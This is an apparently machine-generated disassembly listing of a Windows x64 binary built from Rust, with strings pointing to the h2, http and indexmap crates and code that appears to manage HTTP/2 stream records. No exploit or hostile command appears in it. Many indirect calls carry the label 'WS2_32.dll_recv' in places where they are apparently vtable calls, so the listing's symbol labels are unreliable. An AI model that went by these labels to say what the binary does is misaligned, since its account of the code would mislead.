movaps xmm6, xmmword [rbp + 0xc60]
add rsp, 0xcf8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14018d880
test al, al
jne 0x1400fa710
mov rax, qword [rbp + 0xc10]
mov byte [rax + 8], 1
jmp 0x1400fa710
add eax, 0xffffff9c
cmp ax, 0x64
jae 0x1400fa8ad
cmp qword [rbp + 0x380], 0
je 0x1400fa7df
mov r8, qword [rbp + 0x378]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0xc20], rax
xor eax, eax
mov qword [rbp + 0xc38], rax
jmp 0x1400fa82e
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
mov rax, qword [r9 + r8 + 0x18]
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
add rcx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc20]
je 0x1400fa9bd
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc40], rcx
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
je 0x1400fa806
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
lea rcx, [r9 + r8]
add rcx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov r8, qword [r9 + r8 + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400fa806
call fcn.14018d880
test al, al
jne 0x1400fa6e0
mov rax, qword [rbp + 0xbe0]
mov byte [rax + 8], 1
jmp 0x1400fa6e0
movups xmm0, xmmword [rbp + 0x750]
movaps xmmword [rbp + 0x330], xmm0
movups xmm0, xmmword [rbp + 0x740]
movaps xmmword [rbp + 0x320], xmm0
movdqu xmm0, xmmword [rbp + 0x700]
movdqu xmm1, xmmword [rbp + 0x710]
movdqu xmm2, xmmword [rbp + 0x720]
movdqu xmm3, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x310], xmm3
movdqa xmmword [rbp + 0x300], xmm2
movdqa xmmword [rbp + 0x2f0], xmm1
movdqa xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x968], cl
test cl, cl
je 0x1400fabd6
lea r13, [rbp + 0x5d0]
lea rdx, [rbp + 0x440]
mov r8d, 0xa0
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0xc34], 1
mov byte [rbp + 0xc33], 0
lea rcx, [rbp + 0xaa0]
lea r8, [rbp + 0x2e0]
mov rdx, r13
mov r9d, esi
call fcn.140026ca0
mov rax, qword [rbp + 0xaa0]
cmp rax, 3
jne 0x1400fada6
movzx r12d, byte [rbp + 0xaa8]
movzx r13d, byte [rbp + 0xaa9]
movzx r14d, word [rbp + 0xaaa]
mov ebx, dword [rbp + 0xaac]
mov rsi, qword [rbp + 0xab0]
mov rax, qword [rbp + 0xab8]
mov qword [rbp + 0xbf8], rax
mov r15, qword [rbp + 0xac0]
mov eax, 4
mov rcx, qword [rbp + 0xac8]
mov qword [rbp + 0xbf0], rcx
jmp 0x1400fb5d5
cmp qword [rbp + 0x390], 0
je 0x1400fa9dd
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x3a0]
mov rcx, qword [rbp + 0x3b0]
mov qword [rbp + 0xc40], rcx
mov qword [rbp + 0xc38], rax
lea rcx, [rax + 0x38]
xor eax, eax
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xc40], rax
je 0x1400faa38
inc rax
mov qword [rbp + 0xc50], rax
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400faa06
cmp qword [rbp + 0x3a8], 0
je 0x1400faa58
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [rbp + 0x440]
cmp al, 0xb
je 0x1400faa87
cmp al, 0xa
jb 0x1400faa87
cmp qword [rbp + 0x450], 0
je 0x1400faa87
mov r8, qword [rbp + 0x448]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x458]
test rax, rax
je 0x1400faaab
lea rcx, [rbp + 0x470]
mov rdx, qword [rbp + 0x460]
mov r8, qword [rbp + 0x468]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x478]
test rax, rax
je 0x1400faacf
lea rcx, [rbp + 0x490]
mov rdx, qword [rbp + 0x480]
mov r8, qword [rbp + 0x488]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x498]
test rax, rax
je 0x1400faaf3
lea rcx, [rbp + 0x4b0]
mov rdx, qword [rbp + 0x4a0]
mov r8, qword [rbp + 0x4a8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x4b8]
test rax, rax
je 0x1400fbb1b
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0x4d0]
mov rdx, qword [rbp + 0x4c0]
mov r8, qword [rbp + 0x4c8]
mov byte [rbp + 0xc4e], 0
call rax
jmp 0x1400fbb1b
mov eax, dword [r15 + 0x4c]
lea ecx, [r14 + rax]
shl rcx, 0x20
add eax, r14d
movabs rax, 0x300000001
cmovno rax, rcx
sub dword [r15 + 0x90], r14d
test al, al
jne 0x1400fab5a
shr rax, 0x20
mov dword [r15 + 0x4c], eax
mov byte [rbp + 0x820], 3
jmp 0x1400f6e42
call fcn.14018d880
test al, al
jne 0x1400f555b
mov byte [r14 + 8], 1
jmp 0x1400f555b
xor r15d, r15d
jmp 0x1400fad9a
test rax, rax
je 0x1400fb2ef
cmp eax, 1
jne 0x1400fb2ca
mov rax, qword [rbp + 0x828]
mov rdx, qword [rbp + 0x830]
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0x840]
mov r8, qword [rbp + 0x838]
mov byte [rbp + 0xc4d], 1
call rax
jmp 0x1400fb2ef
lea rcx, [rbp + 0xaa0]
lea rdx, [rbp + 0x440]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmmword [rbp + 0x340], xmm0
movzx eax, word [rbp + 0xb38]
test ax, ax
jne 0x1400fac13
mov ax, 0xc8
mov rcx, qword [rbp + 0x3c2]
mov rdx, qword [rbp + 0x3c8]
mov qword [rbp + 0x5e0], rdx
mov qword [rbp + 0x5da], rcx
mov qword [rbp + 0x5e8], 2
mov qword [rbp + 0x5f0], 0
mov qword [rbp + 0x5f8], 8
movaps xmm0, xmmword [rbp + 0x350]
movups xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], 8
movdqa xmm0, xmmword [rbp + 0x340]
movdqu xmmword [rbp + 0x618], xmm0
mov word [rbp + 0x628], 0
mov ecx, dword [rbp + 0x94c]
mov dword [rbp + 0x62a], ecx
movzx ecx, word [rbp + 0x950]
mov word [rbp + 0x62e], cx
mov qword [rbp + 0x630], 0
mov byte [rbp + 0x63a], 3
mov ecx, dword [rbp + 0x953]
mov dword [rbp + 0x63b], ecx
movzx ecx, byte [rbp + 0x957]
mov byte [rbp + 0x63f], cl
mov qword [rbp + 0x5d0], 0
mov word [rbp + 0x638], ax
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0xbf0], rax
xor eax, eax
mov qword [rbp + 0xbf8], rax
jmp 0x1400fad0c
mov rcx, qword [rbp + 0xc50]
mov rax, qword [rcx + 0x20]
mov rdx, qword [rcx + 0x28]
mov r8, qword [rcx + 0x30]
add rcx, 0x38
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xbf8]
cmp rax, qword [rbp + 0xbf0]
je 0x1400fad52
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xbf8], rax
mov qword [rbp + 0xc50], rcx
mov rax, qword [rcx + 0x48]
test rax, rax
je 0x1400facf2
mov r8, qword [rbp + 0xc50]
lea rcx, [r8 + 0x60]
mov rdx, qword [r8 + 0x50]
mov r8, qword [r8 + 0x58]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400facf2
cmp qword [rbp + 0x600], 0
je 0x1400fb344
mov rcx, qword [0x14023c258]
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x610]
jmp 0x1400fb349
mov r15d, 1
mov rcx, r15
mov rdx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
movq xmm6, r12
mov r13, r15
shr r13, 0x20
jmp 0x1400f74af
movzx r12d, byte [rbp + 0xaa8]
movzx r13d, byte [rbp + 0xaa9]
movzx r14d, word [rbp + 0xaaa]
mov ebx, dword [rbp + 0xaac]
mov rsi, qword [rbp + 0xab0]
mov rcx, qword [rbp + 0xab8]
mov qword [rbp + 0xbf8], rcx
mov r15, qword [rbp + 0xac0]
mov rcx, qword [rbp + 0xac8]
mov qword [rbp + 0xbf0], rcx
mov rdi, qword [rbp + 0xad0]
movups xmm0, xmmword [rbp + 0xad8]
movaps xmmword [rbp + 0x180], xmm0
movups xmm0, xmmword [rbp + 0xae8]
movaps xmmword [rbp + 0x190], xmm0
movups xmm0, xmmword [rbp + 0xaf8]
movaps xmmword [rbp + 0x1a0], xmm0
movups xmm0, xmmword [rbp + 0xb08]
movaps xmmword [rbp + 0x1b0], xmm0
mov rcx, qword [rbp + 0xb78]
mov qword [rbp + 0x430], rcx
movups xmm0, xmmword [rbp + 0xb68]
movaps xmmword [rbp + 0x420], xmm0
movups xmm0, xmmword [rbp + 0xb58]
movaps xmmword [rbp + 0x410], xmm0
movdqu xmm0, xmmword [rbp + 0xb18]
movdqu xmm1, xmmword [rbp + 0xb28]
movdqu xmm2, xmmword [rbp + 0xb38]
movdqu xmm3, xmmword [rbp + 0xb48]
movdqa xmmword [rbp + 0x400], xmm3
movdqa xmmword [rbp + 0x3f0], xmm2
movdqa xmmword [rbp + 0x3e0], xmm1
movdqa xmmword [rbp + 0x3d0], xmm0
jmp 0x1400fb5d5
lea eax, [r12 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [rdx + 0x10], ecx
mov dword [rdx + 0x14], eax
mov rax, qword [rdx + 0x170]
cmp rax, qword [rdx + 0x178]
jbe 0x1400fba94
mov rcx, qword [rbp + 0xc10]
mov eax, dword [rcx + 0x9c]
mov ecx, dword [rcx + 0x11c]
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x9f8], xmm0
mov dword [rbp + 0xa92], 0
mov byte [rbp + 0xa96], 0
mov qword [rbp + 0x970], 0
mov qword [rbp + 0x988], 0
mov qword [rbp + 0x9a0], 0
mov dword [rbp + 0x9b8], 0x3b9aca00
mov byte [rbp + 0x9c0], 6
mov qword [rbp + 0x9e8], 0
mov dword [rbp + 0x9f0], ecx
mov dword [rbp + 0x9f4], 0
mov dword [rbp + 0xa10], eax
mov dword [rbp + 0xa14], eax
mov qword [rbp + 0xa18], 0
mov dword [rbp + 0xa28], 0
mov dword [rbp + 0xa34], 0
mov dword [rbp + 0xa40], 0
mov dword [rbp + 0xa4c], 0
mov dword [rbp + 0xa58], 0
mov dword [rbp + 0xa64], 0
mov dword [rbp + 0xa70], 0
mov dword [rbp + 0xa84], r12d
mov word [rbp + 0xa90], 0
mov qword [rbp + 0xa88], 0
mov word [rbp + 0xa97], 0x100
mov byte [rbp + 0xc35], 1
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0x970]
call fcn.14002bfe0
mov r8, qword [rbp + 0xc10]
mov r9d, eax
jmp 0x1400f617e
mov dword [rcx + 0xa4], eax
mov rax, qword [rbp + 0xc50]
mov rdx, qword [rax + 0x1a8]
mov rax, qword [rax + 0x1b8]
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp rax, r13
jbe 0x1400fe51b
test rdx, rdx
je 0x1400fe51b
cmp dword [rdx + r12], 2
je 0x1400fe51b
add rdx, r12
cmp dword [rdx + 0x114], esi
jne 0x1400fe51b
add dword [rdx + 0x11c], r14d
movaps xmm0, xmmword [rbp + 0x1c0]
movaps xmm1, xmmword [rbp + 0x1d0]
movups xmmword [rbp + 0xab8], xmm1
movups xmmword [rbp + 0xaa8], xmm0
mov qword [rbp + 0xaa0], 4
mov rdx, qword [rbp + 0x4e0]
mov r13d, dword [rbp + 0x4e8]
mov ecx, dword [rbp + 0x4ec]
mov dword [rbp + 0x3d0], r13d
lea rax, [rbp + 0x3d4]
mov dword [rbp + 0x3d4], ecx
cmp qword [rdx + 0x10], r13
jbe 0x1400fe58c
mov r14, qword [rdx]
test r14, r14
je 0x1400fe58c
imul rbx, r13, 0x130
cmp dword [r14 + rbx], 2
je 0x1400fe58c
add r14, rbx
cmp dword [r14 + 0x114], ecx
jne 0x1400fe58c
mov qword [rbp + 0xbe0], rdx
mov dword [rbp + 0xbe8], ecx
lea rsi, [r15 + 0x20]
lea rcx, [rbp + 0x830]
lea rdx, [rbp + 0xaa0]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x820], 0
mov rax, qword [r15 + 0x30]
mov rdi, qword [r15 + 0x40]
inc qword [r15 + 0x38]
mov qword [rbp + 0xbc8], rax
cmp rax, rdi
mov qword [rbp + 0xc00], rdi
jne 0x1400fb183
lea rcx, [rbp + 0x970]
lea rdx, [rbp + 0x820]
mov r8d, 0xf0
call sub.VCRUNTIME140.dll_memcpy
mov r12, rdi
cmp qword [r15 + 0x28], rdi
jne 0x1400fb155
mov rcx, rsi
mov rdx, rdi
call fcn.140029370
mov r12, qword [r15 + 0x30]
mov rdi, qword [rbp + 0xc00]
imul rcx, r12, 0xf0
add rcx, qword [r15 + 0x20]
lea rdx, [rbp + 0x970]
mov r8d, 0xf0
call sub.VCRUNTIME140.dll_memmove
inc r12
mov qword [r15 + 0x30], r12
lea rax, [rdi + 1]
mov qword [r15 + 0x40], rax
jmp 0x1400fb1d5
jbe 0x1400fe8ac
imul rdi, qword [rbp + 0xc00], 0xf0
add rdi, qword [rsi]
cmp dword [rdi], 2
jne 0x1400fe8ac
mov rax, qword [rdi + 8]
mov qword [r15 + 0x40], rax
lea rsi, [rbp + 0x970]
lea rdx, [rbp + 0x820]
mov r8d, 0xf0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xf0
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp qword [r14 + 0x18], 0
je 0x1400fb222
mov rcx, qword [r14 + 0x28]
cmp qword [r15 + 0x30], rcx
jbe 0x1400fe840
mov rax, qword [r15 + 0x20]
test rax, rax
je 0x1400fe840
imul rcx, rcx, 0xf0
add rax, rcx
cmp dword [rax], 2
je 0x1400fe840
add r14, 0x28
mov qword [rax], 1
mov rdx, qword [rbp + 0xc00]
mov qword [rax + 8], rdx
jmp 0x1400fb239
mov qword [r14 + 0x18], 1
mov rdx, qword [rbp + 0xc00]
mov qword [r14 + 0x20], rdx
add r14, 0x28
mov ecx, dword [rbp + 0xbe8]
mov qword [r14], rdx
mov dword [rbp + 0x3d0], r13d
mov dword [rbp + 0x3d4], ecx
mov rax, qword [rbp + 0xbe0]
cmp qword [rax + 0x10], r13
jbe 0x1400fe5fd
mov rax, qword [rax]
test rax, rax
je 0x1400fe5fd
cmp dword [rax + rbx], 2
je 0x1400fe5fd
add rax, rbx
cmp dword [rax + 0x114], ecx
jne 0x1400fe5fd
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400fb2b0
mov rax, qword [rdx + 8]
mov byte [rbp + 0xc1d], 0
call rax
mov byte [rbp + 0x820], 3
mov rax, qword [rbp + 0x360]
mov r8, qword [rbp + 0xc50]
jmp 0x1400f6eaa
mov r8, qword [rbp + 0x828]
test r8, r8
je 0x1400fb2ef
cmp qword [rbp + 0x830], 0
je 0x1400fb2ef
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xorps xmm0, xmm0
movups xmmword [rbp + 0x838], xmm0
mov word [rbp + 0x820], 0x101
mov dword [rbp + 0x824], 1
lea rax, [0x1401b9e38]
mov qword [rbp + 0x828], rax
lea rax, [0x1401ea218]
mov qword [rbp + 0x830], rax
mov rdi, qword [rbp + 0x1d0]
jmp 0x1400f6e42
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], r8d
jmp 0x1400f593e
mov eax, 8
mov rcx, qword [rbp + 0x620]
mov qword [rbp + 0xbf8], rcx
mov qword [rbp + 0xbf0], rax
lea rcx, [rax + 0x38]
xor eax, eax
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xbf8], rax
je 0x1400fb39d
inc rax
mov qword [rbp + 0xc50], rax
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400fb36b
cmp qword [rbp + 0x618], 0
je 0x1400fb3bd
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xbf0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm0, xmmword [rbp + 0x2e0]
movaps xmm1, xmmword [rbp + 0x2f0]
movdqa xmm2, xmmword [rbp + 0x300]
movdqa xmm3, xmmword [rbp + 0x310]
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmmword [rbp + 0x5e0], xmm1
movdqa xmmword [rbp + 0x5f0], xmm2
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x620], xmm0
movaps xmm0, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0x610], xmm0
movdqa xmmword [rbp + 0x600], xmm3
mov r12, qword [rbp + 0x5d0]
mov rsi, qword [rbp + 0x5d8]
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0xbf8], rax
mov r15, qword [rbp + 0x5e8]
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0xbf0], rax
mov rdi, qword [rbp + 0x5f8]
movaps xmmword [rbp + 0x140], xmm0
movdqa xmmword [rbp + 0x130], xmm3
movdqa xmm0, xmmword [rbp + 0x620]
movdqa xmm1, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x160], xmm1
movdqa xmmword [rbp + 0x150], xmm0
movzx eax, byte [rbp + 0xaa0]
cmp al, 0xb
je 0x1400fb4ab
cmp al, 0xa
jb 0x1400fb4ab
cmp qword [rbp + 0xab0], 0
je 0x1400fb4ab
mov r8, qword [rbp + 0xaa8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0xab8]
test rax, rax
je 0x1400fb4cf
lea rcx, [rbp + 0xad0]
mov rdx, qword [rbp + 0xac0]
mov r8, qword [rbp + 0xac8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xad8]
test rax, rax
je 0x1400fb4f3
lea rcx, [rbp + 0xaf0]
mov rdx, qword [rbp + 0xae0]
mov r8, qword [rbp + 0xae8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xaf8]
test rax, rax
je 0x1400fb517
lea rcx, [rbp + 0xb10]
mov rdx, qword [rbp + 0xb00]
mov r8, qword [rbp + 0xb08]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xb18]
test rax, rax
je 0x1400fb54c
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0xb30]
mov rdx, qword [rbp + 0xb20]
mov r8, qword [rbp + 0xb28]
mov byte [rbp + 0xc34], 1
mov byte [rbp + 0xc33], 0
call rax
cmp r12, 3
jne 0x1400fb578
mov eax, 4
mov r12, rsi
mov rsi, qword [rbp + 0xbf8]
mov qword [rbp + 0xbf8], r15
mov r15, qword [rbp + 0xbf0]
mov qword [rbp + 0xbf0], rdi
jmp 0x1400fb5bd
movdqa xmm0, xmmword [rbp + 0x130]
movdqa xmm1, xmmword [rbp + 0x140]
movdqa xmm2, xmmword [rbp + 0x150]
movdqa xmm3, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x1b0], xmm3
movdqa xmmword [rbp + 0x1a0], xmm2
movdqa xmmword [rbp + 0x190], xmm1
movdqa xmmword [rbp + 0x180], xmm0
mov eax, 3
mov rcx, r12
shr rcx, 0x20
mov r14d, r12d
shr r14d, 0x10
mov r13d, r12d
shr r13d, 8
mov rbx, rcx
cmp eax, 4
je 0x1400fa56e
mov qword [rbp + 0x510], rdi
movaps xmm0, xmmword [rbp + 0x180]
movaps xmm1, xmmword [rbp + 0x190]
movaps xmm2, xmmword [rbp + 0x1a0]
movaps xmm3, xmmword [rbp + 0x1b0]
movups xmmword [rbp + 0x518], xmm0
movups xmmword [rbp + 0x528], xmm1
movups xmmword [rbp + 0x538], xmm2
movups xmmword [rbp + 0x548], xmm3
mov rcx, qword [rbp + 0x430]
mov qword [rbp + 0x5b8], rcx
movaps xmm0, xmmword [rbp + 0x3d0]
movdqa xmm1, xmmword [rbp + 0x3e0]
movdqa xmm2, xmmword [rbp + 0x3f0]
movdqa xmm3, xmmword [rbp + 0x400]
movups xmmword [rbp + 0x558], xmm0
movdqu xmmword [rbp + 0x568], xmm1
movdqu xmmword [rbp + 0x578], xmm2
movdqu xmmword [rbp + 0x588], xmm3
movaps xmm0, xmmword [rbp + 0x410]
movups xmmword [rbp + 0x598], xmm0
movdqa xmm0, xmmword [rbp + 0x420]
movdqu xmmword [rbp + 0x5a8], xmm0
mov byte [rbp + 0x4e8], r12b
mov byte [rbp + 0x4e9], r13b
mov word [rbp + 0x4ea], r14w
mov dword [rbp + 0x4ec], ebx
mov qword [rbp + 0x4f0], rsi
mov rcx, qword [rbp + 0xbf8]
mov qword [rbp + 0x4f8], rcx
mov qword [rbp + 0x500], r15
mov rcx, qword [rbp + 0xbf0]
mov qword [rbp + 0x508], rcx
mov qword [rbp + 0x4e0], rax
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x3d0], eax
lea rdi, [rbp + 0x3d4]
mov ecx, dword [rbp + 0xc20]
mov dword [rbp + 0x3d4], ecx
mov rax, qword [rbp + 0xc10]
mov rdx, qword [rbp + 0xc00]
cmp qword [rax + 0x1b8], rdx
mov rdx, qword [rbp + 0xc40]
jbe 0x1400fe67c
mov r12, qword [rax + 0x1a8]
test r12, r12
je 0x1400fe67c
cmp dword [r12 + rdx], 2
je 0x1400fe67c
add r12, rdx
cmp dword [r12 + 0x114], ecx
jne 0x1400fe67c
mov rbx, qword [rbp + 0xbd0]
lea rsi, [rbx + 0x20]
lea rcx, [rbp + 0x5e0]
lea rdx, [rbp + 0x4e0]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x5d0], 0
mov rax, qword [rbx + 0x30]
mov r15, qword [rbx + 0x40]
inc qword [rbx + 0x38]
mov qword [rbp + 0xc50], rax
cmp rax, r15
jne 0x1400fb80e
lea rcx, [rbp + 0xaa0]
lea rdx, [rbp + 0x5d0]
mov r8d, 0xf0
call sub.VCRUNTIME140.dll_memcpy
mov rbx, r15
mov rax, qword [rbp + 0xbd0]
cmp qword [rax + 0x28], r15
jne 0x1400fb7d9
mov rcx, rsi
mov qword [rbp + 0xbf8], r15
mov rdx, r15
call fcn.140029370
mov rax, qword [rbp + 0xbd0]
mov rbx, qword [rax + 0x30]
mov r15, qword [rbp + 0xbf8]
imul rcx, rbx, 0xf0
mov rsi, qword [rbp + 0xbd0]
add rcx, qword [rsi + 0x20]
lea rdx, [rbp + 0xaa0]
mov r8d, 0xf0
call sub.VCRUNTIME140.dll_memmove
inc rbx
mov qword [rsi + 0x30], rbx
lea rax, [r15 + 1]
mov qword [rsi + 0x40], rax
jmp 0x1400fb865
jbe 0x1400fe8da
imul r13, r15, 0xf0
add r13, qword [rsi]
cmp dword [r13], 2
jne 0x1400fe8da
mov rax, qword [r13 + 8]
mov rcx, qword [rbp + 0xbd0]
mov qword [rcx + 0x40], rax
lea rsi, [rbp + 0xaa0]
lea rdx, [rbp + 0x5d0]
mov r8d, 0xf0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xf0
mov rcx, r13
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp qword [r12 + 0x18], 0
je 0x1400fb8bb
mov rcx, qword [r12 + 0x28]
mov rax, qword [rbp + 0xbd0]
cmp qword [rax + 0x30], rcx
jbe 0x1400fe888
mov rax, qword [rbp + 0xbd0]
mov rax, qword [rax + 0x20]
test rax, rax
je 0x1400fe888
imul rcx, rcx, 0xf0
add rax, rcx
cmp dword [rax], 2
je 0x1400fe888
add r12, 0x28
mov qword [rax], 1
mov qword [rax + 8], r15
jmp 0x1400fb8cd
mov qword [r12 + 0x18], 1
mov qword [r12 + 0x20], r15
add r12, 0x28
mov rax, qword [rbp + 0xc10]
mov ecx, dword [rbp + 0xc20]
mov rdx, qword [rbp + 0xc40]
mov qword [r12], r15
mov r8d, dword [rbp + 0xc38]
mov dword [rbp + 0x3d0], r8d
mov dword [rbp + 0x3d4], ecx
mov r8, qword [rbp + 0xc00]
cmp qword [rax + 0x1b8], r8
jbe 0x1400fe6ed
mov rax, qword [rax + 0x1a8]
test rax, rax
je 0x1400fe6ed
cmp dword [rax + rdx], 2
je 0x1400fe6ed
add rax, rdx
cmp dword [rax + 0x114], ecx
jne 0x1400fe6ed
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400fb961
mov rax, qword [rdx + 8]
mov byte [rbp + 0xc31], 0
call rax
cmp byte [rbp + 0x968], 0
je 0x1400fbb1b
mov rdx, qword [rbp + 0x6d8]
mov ecx, dword [rbp + 0x6e0]
mov eax, dword [rbp + 0x6e4]
mov dword [rbp + 0x3d0], ecx
mov dword [rbp + 0x3d4], eax
cmp qword [rdx + 0x10], rcx
jbe 0x1400fe75e
mov r9, qword [rdx]
test r9, r9
je 0x1400fe75e
imul r8, rcx, 0x130
cmp dword [r9 + r8], 2
je 0x1400fe75e
add r9, r8
cmp dword [r9 + 0x114], eax
jne 0x1400fe75e
cmp byte [r9 + 0x126], 0
jne 0x1400fbb1b
mov dword [rbp + 0x3d0], ecx
mov dword [rbp + 0x3d4], eax
mov r9, qword [rdx]
test r9, r9
je 0x1400fe9e1
cmp dword [r9 + r8], 2
je 0x1400fe9e1
add r9, r8
cmp dword [r9 + 0x114], eax
jne 0x1400fe9e1
mov rax, qword [rbp + 0xc10]
mov dword [rax + 0x18], 1
mov dword [rax + 0x1c], r12d
mov al, 3
jmp 0x1400f8973
cmp cl, 6
jb 0x1400fbbf4
lea ecx, [rax - 3]
cmp cl, 2
ja 0x1400fbac7
cmp cl, 1
jne 0x1400fbbf4
movzx eax, al
test rax, rax
je 0x1400fbbf4
cmp eax, 1
jne 0x1400fbbc7
mov r8, qword [rbp + 0xc50]
mov rax, qword [r8 + 0x58]
mov rdx, qword [r8 + 0x60]
lea rcx, [r8 + 0x70]
mov r8, qword [r8 + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400fbbf4
mov r12b, 3
jmp 0x1400f9e28
mov byte [rbp + 0xc35], 1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.1.0_srcmapcore_raw.rs
mov rcx, rsi
call fcn.140186a70
jmp 0x1400fee97
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcheadermap.rs
call fcn.140186a70
jmp 0x1400fee97
lea rax, [rbp + 0x1c4]
mov qword [rbp + 0x700], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x708], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc36], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov rax, qword [rbp + 0xc50]
mov r8, qword [rax + 0x58]
test r8, r8
je 0x1400fbbf4
mov rax, qword [rbp + 0xc50]
cmp qword [rax + 0x60], 0
je 0x1400fbbf4
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0xc50]
mov byte [rax + 0x50], 8
cmp byte [rbp + 0xba0], 0
mov eax, dword [rbp + 0xbac]
mov dword [rbp + 0xc50], eax
je 0x1400fc1a2
mov word [rbp + 0x4e0], 0x100
mov eax, dword [rbp + 0xc50]
mov dword [rbp + 0x4e4], eax
mov dword [rbp + 0x4e8], 7
cmp qword [rbp + 0xac0], 0
je 0x1400fbc57
mov r8, qword [rbp + 0xab8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
